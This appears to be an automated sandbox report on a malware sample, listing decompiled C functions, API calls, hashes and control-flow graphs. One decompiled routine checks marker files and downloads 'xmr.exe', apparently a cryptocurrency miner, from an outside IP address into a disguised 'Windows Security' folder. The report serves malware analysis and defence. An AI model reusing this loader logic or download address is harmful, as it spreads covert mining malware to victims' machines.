                                                                                                                                                                                                                                                                                                                                                      0x00b61646
                                                                                                                                                                                                                                                                                                                                                      0x00b61647
                                                                                                                                                                                                                                                                                                                                                      0x00b6164c
                                                                                                                                                                                                                                                                                                                                                      0x00b61650
                                                                                                                                                                                                                                                                                                                                                      0x00b61656
                                                                                                                                                                                                                                                                                                                                                      0x00b6165b
                                                                                                                                                                                                                                                                                                                                                      0x00b6165d
                                                                                                                                                                                                                                                                                                                                                      0x00b61660
                                                                                                                                                                                                                                                                                                                                                      0x00b61661
                                                                                                                                                                                                                                                                                                                                                      0x00b61662
                                                                                                                                                                                                                                                                                                                                                      0x00b61669

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.352566128.0000000000B61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00B60000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000003.00000002.352561396.0000000000B60000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000003.00000002.352570446.0000000000B62000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000003.00000002.352574567.0000000000B64000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_b60000_120477188.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 801014965-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 4b79c8ba03d253457424d590b0fa81c9e5cf97cea4a8ad8d4f36500e4a972a86
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 117b6a6754cd1654b7baa86e3bb459d54274b484b811b2c1317d6bbe92ce70e9
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4b79c8ba03d253457424d590b0fa81c9e5cf97cea4a8ad8d4f36500e4a972a86
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0F418279900344AFE720DFA8D985AA9BBF8FB09710F18095AE541972A1CBBC4944CF50
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00B613E0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 41fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00B613E0() {
				short _v524;
				short _v1044;
				void* _v1048;
				int _t13;
				void* _t14;

				ExpandEnvironmentStringsW(L"%userprofile%",  &_v524, 0x104);
				wsprintfW( &_v1044, L"%s\\552457.txt",  &_v524);
				_t13 = PathFileExistsW( &_v1044); // executed
				if(_t13 == 0) {
					_t14 = CreateFileW( &_v1044, 0x40000000, 0, 0, 1, 2, 0); // executed
					_v1048 = _t14;
					if(_v1048 != 0xffffffff) {
						FindCloseChangeNotification(_v1048); // executed
					}
					return 1;
				}
				return 0;
			}








                                                                                                                                                                                                                                                                                                                                                      0x00b613fa
                                                                                                                                                                                                                                                                                                                                                      0x00b61413
                                                                                                                                                                                                                                                                                                                                                      0x00b61423
                                                                                                                                                                                                                                                                                                                                                      0x00b6142b
                                                                                                                                                                                                                                                                                                                                                      0x00b61449
                                                                                                                                                                                                                                                                                                                                                      0x00b6144f
                                                                                                                                                                                                                                                                                                                                                      0x00b6145c
                                                                                                                                                                                                                                                                                                                                                      0x00b61465
                                                                                                                                                                                                                                                                                                                                                      0x00b61465
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00b6146b
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00B613FA
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00B61413
                                                                                                                                                                                                                                                                                                                                                      • PathFileExistsW.KERNELBASE(?), ref: 00B61423
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000001,00000002,00000000), ref: 00B61449
                                                                                                                                                                                                                                                                                                                                                      • FindCloseChangeNotification.KERNELBASE(000000FF), ref: 00B61465
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.352566128.0000000000B61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00B60000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000003.00000002.352561396.0000000000B60000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000003.00000002.352570446.0000000000B62000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000003.00000002.352574567.0000000000B64000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_b60000_120477188.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$ChangeCloseCreateEnvironmentExistsExpandFindNotificationPathStringswsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s\552457.txt$%userprofile%
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2220190937-1206424513
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a0acd665d69a4e58d7e18cb3756daee9c9b62c25e51881e6bf897b8ba9531099
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 3b7748f976ae711177d8205198c6d2654693e20f51661f2b71ec8b5579d51838
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a0acd665d69a4e58d7e18cb3756daee9c9b62c25e51881e6bf897b8ba9531099
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 74014FB094071CABEB20DB609C4AFE57378AB44704F0486E4F715A71D1DAF85AC5CFA5
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00B61480 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 37sleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00B61480() {
				short _v524;
				short _v1044;
				signed char _t5;
				signed char _t11;
				int _t12;

				Sleep(0x7d0); // executed
				_t5 = E00B613E0(); // executed
				if((_t5 & 0x000000ff) != 0) {
					ExpandEnvironmentStringsW(L"%userprofile%",  &_v1044, 0x104);
					wsprintfW( &_v524, L"%s\\Windows Security\\Update\\winsvrupd.exe",  &_v1044);
					_t11 = E00B61380(); // executed
					if((_t11 & 0x000000ff) != 0) {
						_t12 = PathFileExistsW( &_v524); // executed
						if(_t12 == 0) {
							E00B610B0(L"http://185.215.113.84/xmr.exe"); // executed
						}
					}
				}
				return 0;
			}








                                                                                                                                                                                                                                                                                                                                                      0x00b6148e
                                                                                                                                                                                                                                                                                                                                                      0x00b61494
                                                                                                                                                                                                                                                                                                                                                      0x00b6149e
                                                                                                                                                                                                                                                                                                                                                      0x00b614b1
                                                                                                                                                                                                                                                                                                                                                      0x00b614ca
                                                                                                                                                                                                                                                                                                                                                      0x00b614d3
                                                                                                                                                                                                                                                                                                                                                      0x00b614dd
                                                                                                                                                                                                                                                                                                                                                      0x00b614e6
                                                                                                                                                                                                                                                                                                                                                      0x00b614ee
                                                                                                                                                                                                                                                                                                                                                      0x00b614f5
                                                                                                                                                                                                                                                                                                                                                      0x00b614fa
                                                                                                                                                                                                                                                                                                                                                      0x00b614ee
                                                                                                                                                                                                                                                                                                                                                      0x00b614dd
                                                                                                                                                                                                                                                                                                                                                      0x00b61502

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000007D0), ref: 00B6148E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B613E0: ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00B613FA
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B613E0: wsprintfW.USER32 ref: 00B61413
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B613E0: PathFileExistsW.KERNELBASE(?), ref: 00B61423
                                                                                                                                                                                                                                                                                                                                                      • ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00B614B1
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00B614CA
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B61380: ExpandEnvironmentStringsW.KERNEL32(%systemdrive%,?,00000104), ref: 00B6139A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B61380: wsprintfW.USER32 ref: 00B613B3
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B61380: PathFileExistsW.KERNELBASE(?), ref: 00B613C3
                                                                                                                                                                                                                                                                                                                                                      • PathFileExistsW.KERNELBASE(?), ref: 00B614E6
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B610B0: GetTickCount.KERNEL32 ref: 00B610B9
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B610B0: srand.MSVCRT ref: 00B610C0
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B610B0: rand.MSVCRT ref: 00B610C8
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B610B0: Sleep.KERNELBASE ref: 00B610DD
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B610B0: ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 00B610FB
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B610B0: rand.MSVCRT ref: 00B61101
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B610B0: rand.MSVCRT ref: 00B61115
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B610B0: wsprintfW.USER32 ref: 00B6113C
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B610B0: InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00B61152
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B610B0: InternetOpenUrlW.WININET(00000000,00B614FA,00000000,00000000,00000000,00000000), ref: 00B6117E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B610B0: CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00B611AD
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B610B0: InternetReadFile.WININET(00000000,?,00000103,?), ref: 00B611E0
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B610B0: WriteFile.KERNELBASE(000000FF,?,00000000,?,00000000), ref: 00B61211
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B610B0: CloseHandle.KERNEL32(000000FF), ref: 00B61220
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00B610B0: Sleep.KERNELBASE(000003E8), ref: 00B6122B
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • %userprofile%, xrefs: 00B614AC
                                                                                                                                                                                                                                                                                                                                                      • http://185.215.113.84/xmr.exe, xrefs: 00B614F0
                                                                                                                                                                                                                                                                                                                                                      • %s\Windows Security\Update\winsvrupd.exe, xrefs: 00B614BE
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.352566128.0000000000B61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00B60000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000003.00000002.352561396.0000000000B60000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000003.00000002.352570446.0000000000B62000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000003.00000002.352574567.0000000000B64000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_b60000_120477188.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$EnvironmentExpandStringswsprintf$ExistsInternetPathSleeprand$Open$CloseCountCreateHandleReadTickWritesrand
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s\Windows Security\Update\winsvrupd.exe$%userprofile%$http://185.215.113.84/xmr.exe
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2056595107-277976108
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 275796333f3e64424bd7e8a7b83e4baff05d2af501c4654afd60ceafe7d99fa9
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 3d43fa7c162fa0c578aac19f66598a6b6c206784e0348977ca1e79090b52f732
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 275796333f3e64424bd7e8a7b83e4baff05d2af501c4654afd60ceafe7d99fa9
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 55F0FC706002196BF714A764AC4AEBA33F8AF40705F0849E5F549D62D1EEEC9588CEA5
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00B61380 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 63 b61380-b613cb ExpandEnvironmentStringsW wsprintfW PathFileExistsW 64 b613d1 63->64 65 b613cd-b613cf 63->65 66 b613d3-b613d6 64->66 65->66
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00B61380() {
				short _v524;
				short _v1044;
				int _t9;

				ExpandEnvironmentStringsW(L"%systemdrive%",  &_v524, 0x104);
				wsprintfW( &_v1044, L"%s\\Program Files (x86)",  &_v524);
				_t9 = PathFileExistsW( &_v1044); // executed
				if(_t9 == 0) {
					return 0;
				}
				return 1;
			}






                                                                                                                                                                                                                                                                                                                                                      0x00b6139a
                                                                                                                                                                                                                                                                                                                                                      0x00b613b3
                                                                                                                                                                                                                                                                                                                                                      0x00b613c3
                                                                                                                                                                                                                                                                                                                                                      0x00b613cb
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00b613d1
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • ExpandEnvironmentStringsW.KERNEL32(%systemdrive%,?,00000104), ref: 00B6139A
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00B613B3
                                                                                                                                                                                                                                                                                                                                                      • PathFileExistsW.KERNELBASE(?), ref: 00B613C3
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.352566128.0000000000B61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00B60000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000003.00000002.352561396.0000000000B60000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000003.00000002.352570446.0000000000B62000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000003.00000002.352574567.0000000000B64000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_b60000_120477188.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: EnvironmentExistsExpandFilePathStringswsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s\Program Files (x86)$%systemdrive%
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3337111443-1963301939
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 8623d6f6bd2a2f1fcc46ae1b814f1b2f66aeae6a01f2582e8fe15b042a9eeb25
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ddba343d7e893f44dd4e1d0d88cf651d070a8e58c52963cec84c46537e1ade4b
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8623d6f6bd2a2f1fcc46ae1b814f1b2f66aeae6a01f2582e8fe15b042a9eeb25
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 55E09BB190020C6BEB10DB64EC49EE6737CA700705F0445D4EA55C21D1EEF85AD8DBA5
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2531880 Relevance: 32.4, APIs: 21, Instructions: 855COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 0 7ff7d2531880-7ff7d25318f9 call 7ff7d2535d30 call 7ff7d2534824 call 7ff7d253b0f0 call 7ff7d2535ec0 9 7ff7d25318ff-7ff7d253190b call 7ff7d2535ec0 0->9 10 7ff7d2532620-7ff7d2532663 call 7ff7d2535ec0 call 7ff7d2535600 0->10 16 7ff7d253190d-7ff7d2531930 9->16 17 7ff7d2531934-7ff7d253197f call 7ff7d2535ec0 * 2 9->17 22 7ff7d2532668-7ff7d25326cb call 7ff7d2535ec0 call 7ff7d2535600 10->22 16->17 25 7ff7d25319bd-7ff7d25319c1 17->25 26 7ff7d2531981-7ff7d25319b8 call 7ff7d2535600 17->26 35 7ff7d25326d5-7ff7d253276d call 7ff7d2535ec0 call 7ff7d2535600 22->35 29 7ff7d25319ef-7ff7d2531a60 _wgetenv call 7ff7d2533800 memset call 7ff7d2535ec0 * 2 25->29 30 7ff7d25319c3-7ff7d25319e9 25->30 26->25 44 7ff7d2531a9d-7ff7d2531aa1 29->44 45 7ff7d2531a62-7ff7d2531a98 call 7ff7d2535600 29->45 30->29 50 7ff7d2532772-7ff7d253280b call 7ff7d2535ec0 call 7ff7d2535600 35->50 46 7ff7d2531ac8-7ff7d2531b72 call 7ff7d2533800 memset call 7ff7d2535ec0 44->46 47 7ff7d2531aa3-7ff7d2531ac4 44->47 45->44 46->35 57 7ff7d2531b78-7ff7d2531b84 call 7ff7d2535ec0 46->57 47->46 61 7ff7d2532810-7ff7d2532861 call 7ff7d2533cb0 call 7ff7d2533e60 memcpy call 7ff7d2535ec0 50->61 62 7ff7d2531bba-7ff7d2531c8b call 7ff7d2533800 memset GetModuleFileNameW memset call 7ff7d2535ec0 57->62 63 7ff7d2531b86-7ff7d2531b92 57->63 78 7ff7d25328d1-7ff7d2532908 call 7ff7d2535ec0 memcpy call 7ff7d2535600 61->78 79 7ff7d2532863-7ff7d2532868 call 7ff7d2535ec0 61->79 62->50 75 7ff7d2531c91-7ff7d2531c9d call 7ff7d2535ec0 62->75 65 7ff7d2531b98-7ff7d2531bb4 63->65 65->65 69 7ff7d2531bb6 65->69 69->62 84 7ff7d2531cd2-7ff7d2531d19 call 7ff7d2535ec0 * 2 75->84 85 7ff7d2531c9f-7ff7d2531cab 75->85 89 7ff7d253286b-7ff7d2532874 78->89 79->89 102 7ff7d2531d57-7ff7d2531d5c 84->102 103 7ff7d2531d1b-7ff7d2531d52 call 7ff7d2535600 84->103 88 7ff7d2531cb0-7ff7d2531ccc 85->88 88->88 92 7ff7d2531cce 88->92 93 7ff7d25328b2-7ff7d25328c7 call 7ff7d2533160 89->93 94 7ff7d2532876-7ff7d2532882 89->94 92->84 101 7ff7d25328cc 93->101 96 7ff7d2532888-7ff7d25328a7 94->96 96->96 99 7ff7d25328a9 96->99 99->93 101->78 105 7ff7d2531d5e-7ff7d2531d7e 102->105 106 7ff7d2531d82-7ff7d2531dd5 _wgetenv call 7ff7d2533800 memcpy call 7ff7d2535ec0 * 2 102->106 103->102 105->106 113 7ff7d2531dd7-7ff7d2531e0a memcpy call 7ff7d2535600 106->113 114 7ff7d2531e0f-7ff7d2531e17 106->114 113->114 116 7ff7d2531e19-7ff7d2531e25 114->116 117 7ff7d2531e51-7ff7d2531e78 call 7ff7d2533160 114->117 119 7ff7d2531e28-7ff7d2531e47 116->119 121 7ff7d2531e7d-7ff7d2531eca memset call 7ff7d2535ec0 117->121 119->119 122 7ff7d2531e49 119->122 121->22 125 7ff7d2531ed0-7ff7d2531ee3 call 7ff7d2535ec0 121->125 122->117 128 7ff7d2531f0e-7ff7d2531f29 call 7ff7d2533800 _wcsicmp 125->128 129 7ff7d2531ee5-7ff7d2531f08 125->129 128->61 132 7ff7d2531f2f-7ff7d2531f96 memset call 7ff7d2535ec0 * 2 128->132 129->128 137 7ff7d2531f98-7ff7d2531fdb call 7ff7d2535600 132->137 138 7ff7d2531fe0-7ff7d2531fe4 132->138 137->138 140 7ff7d2532010-7ff7d2532042 call 7ff7d2535ec0 * 2 138->140 141 7ff7d2531fe6-7ff7d2532009 138->141 146 7ff7d2532077-7ff7d253207d 140->146 147 7ff7d2532044-7ff7d2532072 call 7ff7d2535600 140->147 141->140 149 7ff7d25320a2-7ff7d2532110 _wgetenv call 7ff7d2533800 memset call 7ff7d2535ec0 * 2 146->149 150 7ff7d253207f-7ff7d253209d 146->150 147->146 157 7ff7d2532112-7ff7d253214a call 7ff7d2535600 149->157 158 7ff7d253214f-7ff7d2532153 149->158 150->149 157->158 160 7ff7d253217a-7ff7d25321d9 call 7ff7d2533800 call 7ff7d2531730 call 7ff7d2533e60 call 7ff7d2533220 call 7ff7d2535ec0 158->160 161 7ff7d2532155-7ff7d2532176 158->161 172 7ff7d253255d-7ff7d253258b call 7ff7d2535ec0 call 7ff7d2535600 160->172 173 7ff7d25321df-7ff7d25321ec call 7ff7d2535ec0 160->173 161->160 185 7ff7d2532590-7ff7d25325d6 memset call 7ff7d2533800 memset call 7ff7d2533800 172->185 178 7ff7d2532209-7ff7d2532284 call 7ff7d2535ec0 * 2 173->178 179 7ff7d25321ee-7ff7d2532204 173->179 188 7ff7d253228a-7ff7d253230a call 7ff7d2535600 178->188 189 7ff7d253230f-7ff7d2532313 178->189 179->178 199 7ff7d25325d8-7ff7d25325df 185->199 200 7ff7d2532610-7ff7d253261e 185->200 188->189 192 7ff7d253234b-7ff7d2532389 call 7ff7d2535ec0 * 2 189->192 193 7ff7d2532315-7ff7d2532321 189->193 207 7ff7d253238b-7ff7d25323c1 call 7ff7d2535600 192->207 208 7ff7d25323c6-7ff7d25323cb 192->208 196 7ff7d2532328-7ff7d2532345 193->196 196->196 198 7ff7d2532347 196->198 198->192 202 7ff7d25325e6-7ff7d2532603 call 7ff7d2531560 199->202 200->202 209 7ff7d2532547-7ff7d253255c 202->209 207->208 211 7ff7d25323cd-7ff7d25323f1 208->211 212 7ff7d25323f5-7ff7d253242b memcpy call 7ff7d2535ec0 * 2 208->212 211->212 217 7ff7d253245a-7ff7d2532463 212->217 218 7ff7d253242d-7ff7d2532455 memcpy call 7ff7d2535600 212->218 220 7ff7d25324a2-7ff7d25324ee call 7ff7d2531730 * 2 call 7ff7d2535ec0 * 2 217->220 221 7ff7d2532465-7ff7d2532471 217->221 218->217 232 7ff7d25324f0-7ff7d253250e call 7ff7d2535600 220->232 233 7ff7d2532513-7ff7d2532517 220->233 222 7ff7d2532478-7ff7d2532497 221->222 222->222 224 7ff7d2532499 222->224 224->220 232->233 234 7ff7d2532519-7ff7d253252d 233->234 235 7ff7d2532531-7ff7d2532540 _wcsicmp 233->235 234->235 235->185 237 7ff7d2532542-7ff7d2532545 235->237 237->185 237->209
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: memset$memcpy$_wgetenv$_wcsicmp$FileModuleName
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1287669956-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 499b6a1896d91aa579ea7e822d11f5851db3b3b56d00a3c05a07984e35036a7d
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 3d34d2291e4089b30bf86f5f14bfbcf37c1886018d734c0067ceef3c4ae7a5c8
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 499b6a1896d91aa579ea7e822d11f5851db3b3b56d00a3c05a07984e35036a7d
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9C92B33260CB8984EB21AF25E4447EDA7A0FB49B84FC46076DA8E47755EFBCD142C760
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2532910 Relevance: 26.6, APIs: 12, Strings: 3, Instructions: 387COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
